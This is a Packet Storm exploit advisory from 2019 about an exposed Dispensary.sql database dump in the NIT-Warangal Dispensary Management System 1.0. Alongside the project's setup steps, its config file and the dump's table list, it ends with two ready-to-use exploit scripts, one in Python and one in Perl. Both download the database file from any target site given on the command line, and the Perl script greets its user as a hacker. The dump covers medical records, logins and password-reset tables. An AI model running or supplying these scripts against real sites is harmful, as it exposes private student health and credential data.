what you don't know can hurt you

NIT-Warangal Dispensary Management System India 1.0 Database Disclosure

NIT-Warangal Dispensary Management System India 1.0 Database Disclosure
Posted Apr 15, 2019
Authored by KingSkrupellos

NIT-Warangal Dispensary Management System India version 1.0 suffers from a database disclosure vulnerability.

tags | exploit, info disclosure
MD5 | 21273b6ebbe06c22e806d2fc5d44b89d

NIT-Warangal Dispensary Management System India 1.0 Database Disclosure

Change Mirror Download
###########################################################################

# Exploit Title : NIT-Warangal Dispensary Management System India 1.0 Database Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 15/04/2019
# Vendor Homepage : nitw.ac.in
# Software Download Link : github.com/NIT-Warangal/DispensaryMS/archive/master.zip
# Sofware Information : nitw.ac.in/main/facilities/medical/
en.wikipedia.org/wiki/National_Institute_of_Technology,_Warangal
# Software Version : 1.0
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type :
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Acunetix Reference Link About => [ phpMyAdmin SQL Dump File ]
acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/
# Acunetix Reference Link About : [ Possible Database Backup File ]
acunetix.com/vulnerabilities/web/possible-database-backup/

###########################################################################

# Information about Software :
****************************
This project is an effort to reduce the amount of paperwork thats used in the dispensary system

at NIT-Warangal. It aims to computerize the process of a student/professor getting their medication

and at the same time serve as a validation system to pharmacy medication and inventory system.

###########################################################################

# Impact :
***********
* The product stores sensitive information in files or directories that are accessible

to actors outside of the intended control sphere.

* An information exposure is the intentional or unintentional disclosure of information

to an actor that is not explicitly authorized to have access to that information.

* phpMyAdmin is a free software tool written in PHP, intended to handle the administration of

MySQL over the World Wide Web. It can be used to dump a database or a collection of

databases for backup or transfer to another SQL server (not necessarily a MySQL server).

The dump typically contains SQL statements to create the table, populate it, or both.

This file contains an phpMyAdmin SQL dump. This information is highly sensitive and

should not be found on a production system.

* It looks like this file contains a database backup/dump.

Acunetix inferred this filename from the domain name. A database backup contains a record of the

table structure and/or the data from a database and is usually in the form of a list of SQL statements.

A database backup is most often used for backing up a database so that its contents can be restored

in the event of data loss. This information is highly sensitive and should never be found on a production system.

Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible

to the web server. As a workaround, you could restrict access to this file.

Development Set Up =>
**********************
Mac OS X and Linux =>
***********************
1. Go to the required folder , eg. ~/Documents
2. git clone https://github.com/NIT-Warangal/DispensaryMS
3. cd DispensaryMS
4. virtualenv venv
5. source venv/bin/activate
6. pip install -r requirements.txt
7. open the config.py file and set the required files.
8. Open mysql and set up the database and sync the .sql file
9. Open a new terminal tab and enter into venv as in step 5
10. sudo python -m smtpd -n -c DebuggingServer localhost:25
11. Switch back to the previous tab while keeping this running.
12. python Dispensary.py

Windows Setup =>
********************
1. Open cmd in administrator mode.
2. Type "pip install flask".
3. Type "pip install -r requirements.txt".
4. Type "pip install flask-mysql" (if its fails do step 5 )
5. Download connecter from http://www.codegood.com/
6. Go to project folder and type "python server.py"

(It may show some errors for some dependencies)
1. Type "pip install -r requirements.txt".
2. Type "python server.py"
(Assumed the SQL using is XAMPP's MYSQL)

Server Deployment =>
*********************
For best use a Ubuntu server or a CentOS server
1. Follow the same development setup
2. open screen mode in terminal
3. run python Dispensary.py

install.sh
*********
git clone https://www.github.com/NIT-Warangal/DispensaryMS
cd DispensaryMS
source venv/bin/activate
sudo pip install -r requirements.txt
python server.py

###########################################################################

File :
******
/Dispensary.sql

Information :
*************
-- phpMyAdmin SQL Dump
-- version 4.1.12
-- phpmyadmin.net
--
-- Host: 127.0.0.1
-- Server version: 5.5.37-0ubuntu0.14.04.1
-- PHP Version: 5.5.11
-- Database: `Dispensary`

-- Table structure for table `Employee`

-- Dumping data for table `Employee`

-- Table structure for table `Login`

-- Table structure for table `Bills` to keep track of uploads

-- Table structure for table `Pharmacy`

-- Table structure for table `Prescription`

-- Table structure for table `PrescriptionIndex`

-- Table structure for table `Student`

-- Table structure for table `Users`

-- Table structure for table `Letters` to keep track of uploads

-- Table structure for table `ResetPassword` to keep track of uploads

-- Table structure for table `CheckPassword` to keep track of uploads

-- Table structure for table `ChatSessionHistory`

-- Table structure for table `ChatTransactions`

-- Dump Completed.

raw.githubusercontent.com/NIT-Warangal/DispensaryMS/master/Dispensary.sql

Information about File :
********************
/config.py

Information :
************
# Database Config

config = {
'MYSQL_DATABASE_USER' : '', #Username for mysql
'MYSQL_DATABASE_DB' : 'Dispensary',
'MYSQL_DATABASE_PASSWORD' : '', # Password to connect to mysql
'MYSQL_DATABASE_HOST' : 'localhost',
'USERNAME' : '',
'USERID' :'',
}

# To run the mail server run
# sudo python -m smtpd -n -c DebuggingServer localhost:25
# mail server settings

MAIL_SERVER = 'localhost'
MAIL_PORT = 25
MAIL_USERNAME = None
MAIL_PASSWORD = None

# Administrator list
ADMINS = ['you@example.com']

raw.githubusercontent.com/NIT-Warangal/DispensaryMS/master/config.py

###########################################################################

# Database Disclosure Information Exposure Exploit 1 :
***********************************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/Dispensary.sql"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit

###########################################################################

# Database Disclosure Information Exposure Exploit 2 :
***********************************************
#!/usr/bin/perl -w
# Author : KingSkrupellos
# Team : Cyberizm Digital Security Army

use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('NIT-Warangal Dispensary Management System 1.0 Database Disclosure Exploit');
system('color a');


if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;

$File="Dispensary.sql";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Wait Please Dear Hacker!!! \n\n";

my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/Dispensary.sql");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/Dispensary.sql\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}

###########################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

###########################################################################

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    4 Files
  • 20
    Apr 20th
    5 Files
  • 21
    Apr 21st
    1 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close